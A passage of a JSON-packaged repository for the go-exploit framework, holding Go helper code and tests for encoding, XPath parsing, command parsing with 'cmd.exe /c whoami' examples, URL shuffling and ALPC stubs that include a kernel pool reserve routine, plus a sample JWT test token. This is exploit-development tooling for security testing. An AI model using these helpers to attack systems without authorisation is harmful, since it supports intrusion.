`eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4OEI4MEQ5RDMzRDZDNkY2MDgzMjY2MENCMzdEREJCRDdGNDFFMjVSUzI1NiIsIng1dCI6IktJdUEyZE05Ykc5Z2d5Wmd5emZkdTlmMEhpVSIsInR5cCI6ImF0K2p3dCJ9.eyJpc3MiOiJodHRwczovL3hwMC5pZGVudGl0eXNlcnZlciIsIm5iZiI6MTc1MDcxOTYzMywiaWF0IjoxNzUwNzE5NjMzLCJleHAiOjE3NTA3MjMyMzMsImF1ZCI6Imh0dHBzOi8veHAwLmlkZW50aXR5c2VydmVyL3Jlc291cmNlcyIsInNjb3BlIjpbIm9wZW5pZCIsInNpdGVjb3JlLnByb2ZpbGUiXSwiYW1yIjpbInB3ZCJdLCJjbGllbnRfaWQiOiJTaXRlY29yZSIsInN1YiI6IjQ4MjZkOGY3NTZkNDQ1ZGM5YTE5MmE5MzVhYjA4MjQ4IiwiYXV0aF90aW1lIjoxNzUwNzE5NDkwLCJpZHAiOiJsb2NhbCIsInNpZCI6IkU5NTZGNjI0QUQxQ0MyNUZBRjUwQzg2M0M0QTNDRkFBIiwianRpIjoiMjcxMEY1MDRBMTZBMjY1OUVDNUQzMDhDQ0RFQUM2RDgifQ.KRYVImxWFfCG482guoXBi86EuirC6g4HuqZP4mJrug0Z7fTgnXL6RuDkJ-AwR3ok9o5kDI71y5Eo7IVx50VQnhvsgeelHIF_XN1_oOrPg3wB5Aj7VWSiimHEAb1Nf5iMDzZJVMeyiRKcv-AYizR7b9dpePoQNb6xiRHClELWK5_gS1sLh28matOhvnB9aYte2ycdUxMbcwi8TaKPtrvFitp4LSmQbJXDfAAV3KId2OwJ8t6Y3LN8PxPMMjG1y1wl3fI1o-y09X9mQ-9UPnNTViyPMy9Q-TP9GzirEro6TlK2i0lkeuaFldsfVT0I-xGCrECKT0yXF4YkYESG5pY2sg` {\n\t\tt.Error(\"XPath `access_token` did not match\")\n\t}\n}\n"
  },
  {
    "path": "search/semver.go",
    "content": "// Data searching and version checking shared code\npackage search\n\nimport (\n\t\"github.com/Masterminds/semver\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Compare a version to a semantic version constraint using the [Masterminds semver constraints](https://github.com/Masterminds/semver?tab=readme-ov-file#checking-version-constraints).\n// Provide a version string and a constraint and if the semver is within the constraint a boolean\n// response of whether the version is constrained or not will occur. Any errors from the constraint\n// or version will propagate through the framework errors and the value will be false.\nfunc CheckSemVer(version string, constraint string) bool {\n\tc, err := semver.NewConstraint(constraint)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Invalid constraint: %s\", err.Error())\n\n\t\treturn false\n\t}\n\tv, err := semver.NewVersion(version)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Invalid version: %s\", err.Error())\n\n\t\treturn false\n\t}\n\n\treturn c.Check(v)\n}\n"
  },
  {
    "path": "search/xpath.go",
    "content": "package search\n\nimport (\n\t\"strings\"\n\n\t\"github.com/antchfx/htmlquery\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// XPath returns a single HTML XPath match inner text, allowing the extraction of HTML nodes and\n// attributes. This is useful in situations where you might reach for regular expressions, but want\n// to have a bit more reliability if the HTML document is consistent. The function will return an\n// empty string and false boolean if the HTML node cannot be found or the XPath query is invalid,\n// the latter of which should only occur during development.\nfunc XPath(document, path string) (string, bool) {\n\tdoc, err := htmlquery.Parse(strings.NewReader(document))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not parse HTML document: %s\", err.Error())\n\n\t\treturn \"\", false\n\t}\n\tn := htmlquery.FindOne(doc, path)\n\tif n == nil {\n\t\toutput.PrintfFrameworkError(\"Could not find HTML node\")\n\n\t\treturn \"\", false\n\t}\n\n\treturn htmlquery.InnerText(n), true\n}\n\n// XPathAll returns all matched HTML XPath match inner text. This can be used in scenarios that it\n// is necessary to extract multiple values from matching HTML documents.\nfunc XPathAll(document, path string) ([]string, bool) {\n\tmatches := []string{}\n\tdoc, err := htmlquery.Parse(strings.NewReader(document))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not parse HTML document: %s\", err.Error())\n\n\t\treturn []string{}, false\n\t}\n\tn := htmlquery.Find(doc, path)\n\tif n == nil {\n\t\toutput.PrintfFrameworkError(\"Could not find any HTML node\")\n\n\t\treturn []string{}, false\n\t}\n\tfor _, d := range n {\n\t\tmatches = append(matches, htmlquery.InnerText(d))\n\t}\n\n\treturn matches, true\n}\n"
  },
  {
    "path": "transform/encode.go",
    "content": "package transform\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n\t\"unicode/utf16\"\n\n\t\"golang.org/x/text/cases\"\n\t\"golang.org/x/text/language\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nfunc StringToUnicodeByteArray(s string) []byte {\n\t//nolint:prealloc\n\tvar byteArray []byte\n\tfor _, r := range utf16.Encode([]rune(s)) {\n\t\tbyteArray = append(byteArray, byte(r&0xFF), byte(r>>8&0xFF))\n\t}\n\n\treturn byteArray\n}\n\n// Given gzip encoded data, return the decompressed data.\nfunc Inflate(compressed []byte) ([]byte, bool) {\n\treader, err := gzip.NewReader(bytes.NewBuffer(compressed))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn []byte{}, false\n\t}\n\tdefer reader.Close()\n\n\tinflated, err := io.ReadAll(reader)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn []byte{}, false\n\t}\n\n\treturn inflated, true\n}\n\n// EncodeBase64 uses standard format non-URL safe base64 encoding to encode a string.\nfunc EncodeBase64(s string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(s))\n}\n\n// EncodeBase64URL encodes to URL safe base64 with padding.\nfunc EncodeBase64URL(s string) string {\n\treturn base64.URLEncoding.EncodeToString([]byte(s))\n}\n\n// Base64 encodes some input using the format expected by GWT-RPC.\nfunc EncodeBase64GWTRPC(s string) string {\n\tencodedInput := EncodeBase64(s)\n\tencodedInput = strings.ReplaceAll(encodedInput, \"+\", \"$\")\n\n\treturn strings.ReplaceAll(encodedInput, \"/\", \"_\")\n}\n\n// EncodeBase64Chunks creates a slice of maxiumum size base64 strings, where the maxChunkSize is\n// the calculated base64 chunk size and not of the original data. This is useful when you know you\n// need to send some data in a chunked manner and the target contains a data size restriction, but\n// you do not want to guess at the size of encoded data.\n//\n// If a chunk size maximum is requested that is larger than the encoded string will be the only\n// chunk.\nfunc EncodeBase64Chunks(s string, maxChunkSize uint) []string {\n\t// An example helps demonstrate why this is useful. Take the following string:\n\t//\n\t// 1234567890123456789012345678901234567890\n\t//\n\t// If you need to send this data to a target and the target limits you to 10 bytes of\n\t// base64 data, you cannot just split the string of base64 if the parser is strict, and you\n\t// also can't just split the raw data before encoding in a predictable manner due to\n\t// padding. For example:\n\t//\n\t// $ printf '1234567890' | base64 -w0 | wc -c\n\t// 16\n\t//\n\t// 1/3 is often stated, but misses padding, as you can see in the 10-10/3 example:\n\t//\n\t// $ printf '1234567' | base64 -w0 | wc -c\n\t// 12\n\t//\n\t// The optimal size is actually to ensure the block smaller fits, which 1234, 12345, and\n\t// 123456 all fit into. This means the optimal fit for the first block to use the most\n\t// space possible is 123456:\n\t//\n\t// $ printf '123456' | base64 -w0 | wc -c\n\t// 8\n\t//\n\t// While the n/3-1 rule works for most cases of pre-base64 encoded data, there is the need\n\t// to ensure you minimize requests by figuring out what the best block size is. That's what\n\t// all *this* (hand waving) does.\n\n\t// corner case, fail exit early\n\tif len(s) == 0 {\n\t\treturn []string{}\n\t}\n\t// calculate the maximum base64 size with padding\n\tmaxSize := func(n int) int {\n\t\treturn (((4 * n / 3) + 3) & ^3)\n\t}\n\t// start with a chunk size that is 2/3 the size and subtract one, this normally gives the\n\t// closest fit, but because of \"computer numbers\" rounding can be iffy so this ensures that\n\t// the chunk size calculation iterates to the best block size.\n\tchunkSize := (len(s) / int(maxChunkSize)) - (len(s) / int(maxChunkSize) / 3) - 1\n\tfor {\n\t\tif maxSize(chunkSize) > int(maxChunkSize) {\n\t\t\tchunkSize--\n\n\t\t\tbreak\n\t\t}\n\t\tchunkSize++\n\t}\n\tchunks := []string{}\n\tfor c := range slices.Chunk([]byte(s), chunkSize) {\n\t\tchunks = append(chunks, base64.StdEncoding.EncodeToString(c))\n\t}\n\n\treturn chunks\n}\n\n// DecodeBase64 decodes base64 with standard encoding.\nfunc DecodeBase64(s string) string {\n\tdecoded, err := base64.StdEncoding.DecodeString(s)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn \"\"\n\t}\n\n\treturn string(decoded)\n}\n\n// DecodeBase64URL decodes URL safe base64 variant.\nfunc DecodeBase64URL(s string) string {\n\t// Internally uses the non-padded version for decoding so this will allow forcing padded\n\t// data to be non-padded and support both transparently.\n\ts = strings.ReplaceAll(s, `=`, ``)\n\tdecoded, err := base64.RawURLEncoding.DecodeString(s)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn \"\"\n\t}\n\n\treturn string(decoded)\n}\n\n// Reimplement the strings.Title functionality\nfunc Title(s string) string {\n\treturn cases.Title(language.Und, cases.NoLower).String(s)\n}\n\n// URL encode every character in the provided string.\nfunc URLEncodeString(inputString string) string {\n\tencodedChars := \"\"\n\tfor _, char := range inputString {\n\t\tencodedChars += \"%\" + strconv.FormatInt(int64(char), 16)\n\t}\n\n\treturn encodedChars\n}\n\n// PackLittleInt16 packs a little-endian 16-bit integer as a string.\nfunc PackLittleInt16(n int) string {\n\tvar packed strings.Builder\n\n\terr := binary.Write(&packed, binary.LittleEndian, int16(n))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\t}\n\n\treturn packed.String()\n}\n\n// PackLittleInt32 packs a little-endian 32-bit integer as a string.\nfunc PackLittleInt32(n int) string {\n\tvar packed strings.Builder\n\n\terr := binary.Write(&packed, binary.LittleEndian, int32(n))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\t}\n\n\treturn packed.String()\n}\n\n// PackLittleInt64 packs a little-endian 64-bit integer as a string.\nfunc PackLittleInt64(n int) string {\n\tvar packed strings.Builder\n\n\terr := binary.Write(&packed, binary.LittleEndian, int64(n))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\t}\n\n\treturn packed.String()\n}\n\n// PackBigInt16 packs a big-endian 16-bit integer as a string.\nfunc PackBigInt16(n int) string {\n\tvar packed strings.Builder\n\n\terr := binary.Write(&packed, binary.BigEndian, int16(n))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\t}\n\n\treturn packed.String()\n}\n\n// PackBigInt32 packs a big-endian 32-bit integer as a string.\nfunc PackBigInt32(n int) string {\n\tvar packed strings.Builder\n\n\terr := binary.Write(&packed, binary.BigEndian, int32(n))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\t}\n\n\treturn packed.String()\n}\n\n// PackBigInt64 packs a big-endian 64-bit integer as a string.\nfunc PackBigInt64(n int) string {\n\tvar packed strings.Builder\n\n\terr := binary.Write(&packed, binary.BigEndian, int64(n))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\t}\n\n\treturn packed.String()\n}\n\n// PackBigFloat32 packs a 32 bit float as a string.\nfunc PackBigFloat32(f float32) string {\n\tvar packed bytes.Buffer\n\n\t_ = binary.Write(&packed, binary.BigEndian, f)\n\n\treturn packed.String()\n}\n"
  },
  {
    "path": "transform/encode_test.go",
    "content": "package transform\n\nimport (\n\t\"testing\"\n)\n\nconst (\n\turlTestString = \"Theskyabovetheportwasthecoloroftelevision,tunedtoadeadchannel.\\xff\\xff\\xff\\x3e\\xfe\\x00\"\n)\n\nfunc TestURLEncodeString(t *testing.T) {\n\tencoded := URLEncodeString(\"foo !~\")\n\n\tif encoded != \"%66%6f%6f%20%21%7e\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestEncodeBase64(t *testing.T) {\n\tencoded := EncodeBase64(\"foo\")\n\n\tif encoded != \"Zm9v\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestEncodeBase64Chunks(t *testing.T) {\n\tchunks := EncodeBase64Chunks(\"1234567890123456789012345678901234567890\", 10)\n\texpected := []string{\"MTIzNDU2\", \"Nzg5MDEy\", \"MzQ1Njc4\", \"OTAxMjM0\", \"NTY3ODkw\", \"MTIzNDU2\", \"Nzg5MA==\"}\n\tfor i, c := range chunks {\n\t\tif c != expected[i] {\n\t\t\tt.Fatal(chunks)\n\t\t}\n\t}\n\n\tt.Log(chunks)\n\n\tchunks = EncodeBase64Chunks(\"1234567890123456789012345678901234567890\", 12)\n\texpected = []string{\"MTIzNDU2Nzg5\", \"MDEyMzQ1Njc4\", \"OTAxMjM0NTY3\", \"ODkwMTIzNDU2\", \"Nzg5MA==\"}\n\tfor i, c := range chunks {\n\t\tif c != expected[i] {\n\t\t\tt.Fatal(chunks)\n\t\t}\n\t}\n\n\tt.Log(chunks)\n\n\tchunks = EncodeBase64Chunks(\"1234567890123456789012345678901234567890\", 13)\n\tfor i, c := range chunks {\n\t\tif c != expected[i] {\n\t\t\tt.Fatal(chunks)\n\t\t}\n\t}\n\n\tt.Log(chunks)\n}\n\nfunc TestEncodeBase64Chunks_EmptyString(t *testing.T) {\n\tchunks := EncodeBase64Chunks(\"\", 10)\n\tif len(chunks) != 0 {\n\t\tt.Fatal(len(\"\"))\n\t}\n}\n\nfunc TestEncodeBase64Chunks_SmallerThanMaxsize(t *testing.T) {\n\tchunks := EncodeBase64Chunks(\"a\", 10)\n\tif chunks[0] != \"YQ==\" || len(chunks) != 1 {\n\t\tt.Fatal(chunks)\n\t}\n\tt.Log(chunks)\n}\n\nfunc TestEncodeBase64URL(t *testing.T) {\n\tencoded := EncodeBase64URL(urlTestString)\n\n\tif encoded != \"VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA=\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestDecodeBase64URL(t *testing.T) {\n\tdecoded := DecodeBase64URL(\"VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA=\")\n\n\tif decoded != urlTestString {\n\t\tt.Fatal(decoded)\n\t}\n\n\tt.Log(decoded)\n}\n\nfunc TestDecodeBase64URL_NoPad(t *testing.T) {\n\tdecoded := DecodeBase64URL(\"VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA\")\n\n\tif decoded != urlTestString {\n\t\tt.Fatal(decoded)\n\t}\n\n\tt.Log(decoded)\n}\n\nfunc TestDecodeBase64URL_WayTooMuchPadding(t *testing.T) {\n\tdecoded := DecodeBase64URL(\"VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA=======\")\n\n\tif decoded != urlTestString {\n\t\tt.Fatal(decoded)\n\t}\n\n\tt.Log(decoded)\n}\n\nfunc TestDecodeBase64(t *testing.T) {\n\tdecoded := DecodeBase64(\"Zm9v\")\n\n\tif decoded != \"foo\" {\n\t\tt.Fatal(decoded)\n\t}\n\n\tt.Log(decoded)\n}\n\nfunc TestTitle(t *testing.T) {\n\ttitle := Title(\"foo\")\n\n\tif title != \"Foo\" {\n\t\tt.Fatal(title)\n\t}\n\n\tt.Log(title)\n}\n\nfunc TestPackLittleInt32(t *testing.T) {\n\tpacked := PackLittleInt32(0x44434241)\n\n\tif packed != \"ABCD\" {\n\t\tt.Fatal(packed)\n\t}\n\n\tt.Log(packed)\n}\n\nfunc TestPackLittleInt64(t *testing.T) {\n\tpacked := PackLittleInt64(0x4847464544434241)\n\n\tif packed != \"ABCDEFGH\" {\n\t\tt.Fatal(packed)\n\t}\n\n\tt.Log(packed)\n}\n\nfunc TestPackBigInt16(t *testing.T) {\n\tpacked := PackBigInt16(0x4142)\n\n\tif packed != \"AB\" {\n\t\tt.Fatal(packed)\n\t}\n\n\tt.Log(packed)\n}\n\nfunc TestPackBigInt32(t *testing.T) {\n\tpacked := PackBigInt32(0x41424344)\n\n\tif packed != \"ABCD\" {\n\t\tt.Fatal(packed)\n\t}\n\n\tt.Log(packed)\n}\n\nfunc TestPackBigInt64(t *testing.T) {\n\tpacked := PackBigInt64(0x4142434445464748)\n\n\tif packed != \"ABCDEFGH\" {\n\t\tt.Fatal(packed)\n\t}\n\n\tt.Log(packed)\n}\n\nfunc TestInflate(t *testing.T) {\n\tcompressed := \"\\x1f\\x8b\\x08\\x08\\xf4\\xe9\\x97\\x66\\x00\\x03\\x77\\x61\\x74\\x00\\x2b\\x2b\\xcd\\xc9\\x4b\\xce\\x48\\x4d\\xce\\xe6\\x02\\x00\\x3d\\xf1\\xb3\\xf9\\x0a\\x00\\x00\\x00\"\n\tinflated, ok := Inflate([]byte(compressed))\n\tif !ok {\n\t\tt.Fatal(\"Error decompressing data\")\n\t}\n\tinflatedStr := string(inflated)\n\tif inflatedStr != \"vulncheck\\n\" {\n\t\tt.Fatalf(\"Decompression generated unexpected string: %s\", inflatedStr)\n\t}\n}\n"
  },
  {
    "path": "transform/escape.go",
    "content": "package transform\n\nimport (\n\t\"encoding/xml\"\n\t\"html\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nvar EscapeHTML = html.EscapeString\n\nfunc EscapeXML(s string) string {\n\tvar escaped strings.Builder\n\n\terr := xml.EscapeText(&escaped, []byte(s))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn \"\"\n\t}\n\n\treturn escaped.String()\n}\n"
  },
  {
    "path": "transform/escape_test.go",
    "content": "package transform\n\nimport (\n\t\"testing\"\n)\n\nfunc TestEscapeHTML(t *testing.T) {\n\tescaped := EscapeHTML(\"<script>\")\n\n\tif escaped != \"&lt;script&gt;\" {\n\t\tt.Fatal(escaped)\n\t}\n\n\tt.Log(escaped)\n}\n\nfunc TestEscapeXML(t *testing.T) {\n\tescaped := EscapeXML(\"<script>\")\n\n\tif escaped != \"&lt;script&gt;\" {\n\t\tt.Fatal(escaped)\n\t}\n\n\tt.Log(escaped)\n}\n"
  },
  {
    "path": "transform/parsing.go",
    "content": "package transform\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Provided a command param that includes args such as \"cmd.exe /c whoami\" as one might receive from a a user provided flag like\n// -command , this function would return \"cmd.exe\", \"/c whoami\", true.\n//\n//\tprogram, args, ok := transform.ParseCommand(command)\nfunc ParseCommand(command string) (string, string, bool) {\n\tsCommand := strings.SplitN(command, \" \", 2)\n\tif sCommand == nil {\n\t\toutput.PrintFrameworkError(\"Invalid command provided, should be space-separated with program and then args in front. examples: cmd.exe /c someargs or bash -c someargs\")\n\n\t\treturn \"\", \"\", false\n\t}\n\n\tif len(sCommand) != 2 {\n\t\toutput.PrintFrameworkError(\"Invalid command provided, should be space-separated with program and then args in front. examples: cmd.exe /c someargs or bash -c someargs\")\n\n\t\treturn \"\", \"\", false\n\t}\n\n\treturn sCommand[0], sCommand[1], true\n}\n"
  },
  {
    "path": "transform/parsing_test.go",
    "content": "package transform\n\nimport \"testing\"\n\nfunc TestParseCommand(t *testing.T) {\n\tprogram, args, ok := ParseCommand(\"cmd.exe /c calc\")\n\tif !ok {\n\t\tt.Fatal(\"Failed to parse command\")\n\t}\n\n\tif program != \"cmd.exe\" || args != \"/c calc\" {\n\t\tt.Fatalf(\"Program or args returned unexpected values: %s %s\", program, args)\n\t}\n\n\tt.Log(program + \" \" + args)\n}\n"
  },
  {
    "path": "transform/transform.go",
    "content": "// Data transformation utilities.\npackage transform\n\nimport (\n\tcrand \"crypto/rand\"\n\t\"math\"\n\t\"math/big\"\n\t\"math/rand\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// ShuffleURLParameters will take a URL or path with URL parameters and extract the query parameters and cryptographically shuffle the parameters.\nfunc ShuffleURLParameters(request string) string {\n\tp, err := url.Parse(request)\n\tif err != nil {\n\t\tif !testing.Testing() {\n\t\t\toutput.PrintfFrameworkError(\"Could not parse URL: %s\", err.Error())\n\t\t}\n\n\t\treturn \"\"\n\t}\n\t// this feels a bit hacky, but net/url.Values is a map[string][]string which has some side effects:\n\t// the map is \"randomized\" already but if there are multiple of the same parameters they will be\n\t// returned together in order since the slice is not randomized. My solution to actually randomize\n\t// the whole thing is to split the raw values into an []string and then shuffle that.\n\n\tb, _ := crand.Int(crand.Reader, big.NewInt(math.MaxInt64))\n\tr := rand.New(rand.NewSource(b.Int64()))\n\ta := []string{}\n\tfor key, value := range p.Query() {\n\t\tfor _, v := range value {\n\t\t\ta = append(a, key+`=`+v)\n\t\t}\n\t}\n\tr.Shuffle(len(a), func(i, j int) { a[i], a[j] = a[j], a[i] })\n\tp.RawQuery = strings.Join(a, \"&\")\n\n\treturn p.String()\n}\n"
  },
  {
    "path": "transform/transform_test.go",
    "content": "package transform\n\nimport (\n\t\"testing\"\n)\n\nfunc TestShuffleParameters(t *testing.T) {\n\tunsorted := \"/?a=1&b=2&c=3&d=4&e=5&f=6&g=7&h=8&j=9&k=10&j=11&k=12&l=13&m=14&n=15&o=16&p=17&q=18&r=19&s=20&t=21&u=22&v=23&w=24&x=25&y=26&z=27&xxx=AAAA&xxx=BBBB&xxx=CCCC&xxx=DDDD\"\n\ttriggered := 0\n\tfor range 10 {\n\t\ts := ShuffleURLParameters(unsorted)\n\t\tif s == unsorted {\n\t\t\tt.Error(\"Parameters are in order... it's possible but unlikely. Go buy a lotto ticket\", s)\n\t\t\ttriggered++\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tif triggered > 2 {\n\t\tt.Fatal(\"Multiple sort generations is unlikely, something is wrong with randomness\")\n\t}\n}\n\nfunc TestShuffleParametersFullURL(t *testing.T) {\n\tunsorted := \"vulncheck.com/?a=1&b=2&c=3&d=4&e=5&f=6&g=7&h=8&j=9&k=10&j=11&k=12&l=13&m=14&n=15&o=16&p=17&q=18&r=19&s=20&t=21&u=22&v=23&w=24&x=25&y=26&z=27&xxx=AAAA&xxx=BBBB&xxx=CCCC&xxx=DDDD\"\n\ttriggered := 0\n\tfor range 10 {\n\t\ts := ShuffleURLParameters(unsorted)\n\t\tif s == unsorted {\n\t\t\tt.Error(\"Parameters are in order... it's possible but unlikely. Go buy a lotto ticket\", s)\n\t\t\ttriggered++\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tif triggered > 2 {\n\t\tt.Fatal(\"Multiple sort generations is unlikely, something is wrong with randomness\")\n\t}\n\tunsorted = \"https://vulncheck.com/?a=1&b=2&c=3&d=4&e=5&f=6&g=7&h=8&j=9&k=10&j=11&k=12&l=13&m=14&n=15&o=16&p=17&q=18&r=19&s=20&t=21&u=22&v=23&w=24&x=25&y=26&z=27&xxx=AAAA&xxx=BBBB&xxx=CCCC&xxx=DDDD\"\n\ttriggered = 0\n\tfor range 10 {\n\t\ts := ShuffleURLParameters(unsorted)\n\t\tif s == unsorted {\n\t\t\tt.Error(\"Parameters are in order... it's possible but unlikely. Go buy a lotto ticket\", s)\n\t\t\ttriggered++\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tif triggered > 2 {\n\t\tt.Fatal(\"Multiple sort generations is unlikely, something is wrong with randomness\")\n\t}\n}\n\nfunc TestShuffleParametersInvalid(t *testing.T) {\n\tunsorted := \"!:!!!!!!\"\n\ts := ShuffleURLParameters(unsorted)\n\tif s != \"\" {\n\t\tt.Fatal(\"Invalid URL should be empty\", s)\n\t}\n}\n"
  },
  {
    "path": "windows/alpc_other.go",
    "content": "//go:build !windows\n\npackage windows\n\nimport \"unsafe\"\n\n// ALPC Information Classes.\n// These constants are defined on non-Windows platforms to allow cross-compilation\n// and to keep tests working uniformly across all platforms.\nconst (\n\tAlpcBasicInformation                                = 0\n\tAlpcPortInformation                                 = 1\n\tAlpcAssociateCompletionPortInformation              = 2\n\tAlpcConnectedSIDInformation                         = 3\n\tAlpcServerInformation                               = 4\n\tAlpcMessageZoneInformation                          = 5\n\tAlpcRegisterCompletionListInformation               = 6\n\tAlpcUnregisterCompletionListInformation             = 7\n\tAlpcAdjustCompletionListConcurrencyCountInformation = 8\n\tAlpcRegisterCallbackInformation                     = 9\n\tAlpcDisconnectPortInformation                       = 10\n\tAlpcPortSectionInformation                          = 11\n)\n\n// EnumALPCPorts returns all ALPC port handles for a given process.\n// On non-Windows systems, returns false.\nfunc EnumALPCPorts(_ uint32) ([]HandleInfo, bool) {\n\treturn nil, false\n}\n\n// QueryALPCPortSectionInfo queries section information from an ALPC port.\n// On non-Windows systems, returns false.\nfunc QueryALPCPortSectionInfo(_ Handle) (*ALPCSectionInfo, bool) {\n\treturn nil, false\n}\n\n// NtAlpcCreatePort creates an ALPC port.\n// On non-Windows systems, returns false.\nfunc NtAlpcCreatePort(_ string, _ uint64) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// NtAlpcCreateResourceReserve allocates a kernel pool reserve object.\n// On non-Windows systems, returns false.\nfunc NtAlpcCreateResourceReserve(_ Handle, _ uint32) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// NtAlpcSendWaitReceivePort sends a message on an ALPC port.\n// On non-Windows systems, returns false.\nfunc NtAlpcSendWaitReceivePort(_ Handle, _ uint32, _ unsafe.Pointer) (uintptr, bool) {\n\treturn 0, false\n}\n\n// CreateALPCPorts creates multiple ALPC ports.\n// On non-Windows systems, returns false.\nfunc CreateALPCPorts(_ uint32, _ string, _ uint64) ([]Handle, bool) {\n\treturn nil, false\n}\n"
  },
  {
    "path": "windows/alpc_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestALPCInformationClassConstants(t *testing.T) {\n\t// Test all ALPC information class constants exhaustively\n\ttests := []struct {\n\t\tname     string\n\t\tgot      int\n\t\texpected int\n\t}{\n\t\t{\"AlpcBasicInformation\", windows.AlpcBasicInformation, 0},\n\t\t{\"AlpcPortInformation\", windows.AlpcPortInformation, 1},\n\t\t{\"AlpcAssociateCompletionPortInformation\", windows.AlpcAssociateCompletionPortInformation, 2},\n\t\t{\"AlpcConnectedSIDInformation\", windows.AlpcConnectedSIDInformation, 3},\n\t\t{\"AlpcServerInformation\", windows.AlpcServerInformation, 4},\n\t\t{\"AlpcMessageZoneInformation\", windows.AlpcMessageZoneInformation, 5},\n\t\t{\"AlpcRegisterCompletionListInformation\", windows.AlpcRegisterCompletionListInformation, 6},\n\t\t{\"AlpcUnregisterCompletionListInformation\", windows.AlpcUnregisterCompletionListInformation, 7},\n\t\t{\"AlpcAdjustCompletionListConcurrencyCountInformation\", windows.AlpcAdjustCompletionListConcurrencyCountInformation, 8},\n\t\t{\"AlpcRegisterCallbackInformation\", windows.AlpcRegisterCallbackInformation, 9},\n\t\t{\"AlpcDisconnectPortInformation\", windows.AlpcDisconnectPortInformation, 10},\n\t\t{\"AlpcPortSectionInformation\", windows.AlpcPortSectionInformation, 11},\n\t}\n\n\tfor _, tt := range tests {\n\t\tif tt.got != tt.expected {\n\t\t\tt.Errorf(\"%s should be %d, got %d\", tt.name, tt.expected, tt.got)\n\t\t}\n\t}\n}\n\nfunc TestEnumALPCPortsNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.EnumALPCPorts(1234)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestQueryALPCPortSectionInfoNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.QueryALPCPortSectionInfo(windows.Handle(0))\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestALPCSectionInfoStruct(t *testing.T) {\n\t// Test that the struct can be instantiated\n\tinfo := windows.ALPCSectionInfo{\n\t\tSectionHandle:  windows.Handle(0x1234),\n\t\tSectionSize:    0x1000,\n\t\tSectionAddress: 0x7FFE0000,\n\t\tViewBase:       0x7FFE0000,\n\t\tViewSize:       0x1000,\n\t}\n\n\tif info.SectionHandle != windows.Handle(0x1234) {\n\t\tt.Error(\"ALPCSectionInfo.SectionHandle not set correctly\")\n\t}\n\tif info.SectionSize != 0x1000 {\n\t\tt.Error(\"ALPCSectionInfo.SectionSize not set correctly\")\n\t}\n\tif info.SectionAddress != 0x7FFE0000 {\n\t\tt.Error(\"ALPCSectionInfo.SectionAddress not set correctly\")\n\t}\n}\n"
  },
  {
    "path": "windows/alpc_windows.go",
